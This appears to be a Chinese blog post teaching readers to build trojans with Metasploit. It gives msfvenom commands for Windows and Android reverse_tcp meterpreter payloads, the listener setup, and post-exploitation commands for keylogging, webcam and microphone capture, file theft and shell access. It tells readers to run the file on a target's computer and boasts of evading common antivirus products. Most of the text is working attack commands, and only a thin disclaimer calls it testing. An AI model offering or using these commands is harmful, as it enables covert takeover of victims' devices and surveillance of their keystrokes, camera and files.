相信很多人都有这种感觉,觉得那些会做木马病毒的人非常牛逼,当然会自己完全写出来木马病毒的肯定非常牛逼,但是实际上,大部分人都是在前人的基础上修改,很多则是用工具生成,出于兴趣,研究了一段时间"黑"科技,也实践了一下!总结了几点简单的工具用法,如果你会用这些工具,你会发现也许一个木马没有你像现在那么难做出来!本文是本着研究的精神,所有攻击行为都是测试,请勿用于非法用途!
测试环境:kali linux windows7 windows 10 Android等操作系统
主要工具:metasploit framework
关于所用工具,本文不做过多介绍,这里介绍的使用方法也是最基本最简单的用法:
1.使用metasploit 工具生存一个木马(windows版本) ,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.47 LPORT=8080 -f exe >demo.exe
LHOST=后面的ip地址是你自己的局域网ip,目前本人所有的攻击测试仅在局域网试过,也就是内网,关于外网的使用暂时不太清楚如何进行!
demo.exe为生成的木马文件,把木马文件拷贝到对方电脑上,双击即可运行!据测试,该木马可以过360安全卫士,电脑管家等常用杀毒软件!这还是在没有做任何加密\加壳的情况下.....不过在有些人的电脑上360可以杀出来!可能是版本不同
2.打开软件,设置好监听,命令依次如下:
use exploit/multi/handler
set payloads windows/meterpreter/reverse_tcp
set LHOST 192.168.1.47
set LPORT 8080
exploit
3.坐等上钩
此时,只要对方电脑点击运行demo.exe木马文件,这边监听端口就可以收到信息,建立连接!然后可以执行一些入侵指令,对方现在电脑完全在你的掌控之下,常用命令如下:
sysinfo //查看攻击主机的系统信息
kill //结束进程
ps //查看进程
reboot //重启电脑
reg //修改注册表
shell //获取shell
shutdown //关闭电脑
keyscan_start //开启健盘记录功能
keyscan_dump //查看健盘记录信息
keyscan_stop //停止健盘记录
download //下载文件
upload //上传文件
uictl enable keyboard //获取键盘鼠标控制权
record_mic //音频录制
webcam_chat //查看摄像头接口
webcam_list //查看摄像头列表
webcam_stream //摄像头视频获取
................
4.生成Android版本的木马,其实步骤和上面差不多
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.47 LPORT=8080 -r >demo.apk
只要你下载安装到你手机上,你手机基本上也是别人的了,获取联系人\通讯录\定位打开摄像头\照片.......而且经测试,小米手机自带的安全中心对此木马完全没用!
不过,据我暂时了解的知识,距离一个完整的木马还有点距离:
1.杀毒软件.据我测试,腾讯的电脑管家就是垃圾,扫描不出来我生成的木马,360基本上一扫就出来,经过简单编码加密后,360会提示风险程序,而系统自带的windows defender更是一点点用都没.不过要想真把木马做成免杀还得花点功夫.......
2.木马持续后门.所谓持续后门就是能让木马开机后自启,经测试,msf自带的2种方法无效.....暂时未找到可行性方法!
3.外网控制.这是一个大问题,比较难解决,现在的攻击都是基于同一个局域网内!
4.权限问题.360是个麻烦事,在有些机子上进行操作,比如打开摄像头,360会有提示.....而且木马暂时还没法子终结360的进程,所以蛋疼!
在日常生活中,专门去攻击某些个人的情况很少,很多时候黑客都是采用自动化工具遍地撒网,利用一些公开的漏洞进行攻击!普通人能做的只是让自己别中这些自动化黑客工具的招就行了,如果某些个人或者组织想黑你,真的很简单.............
网友评论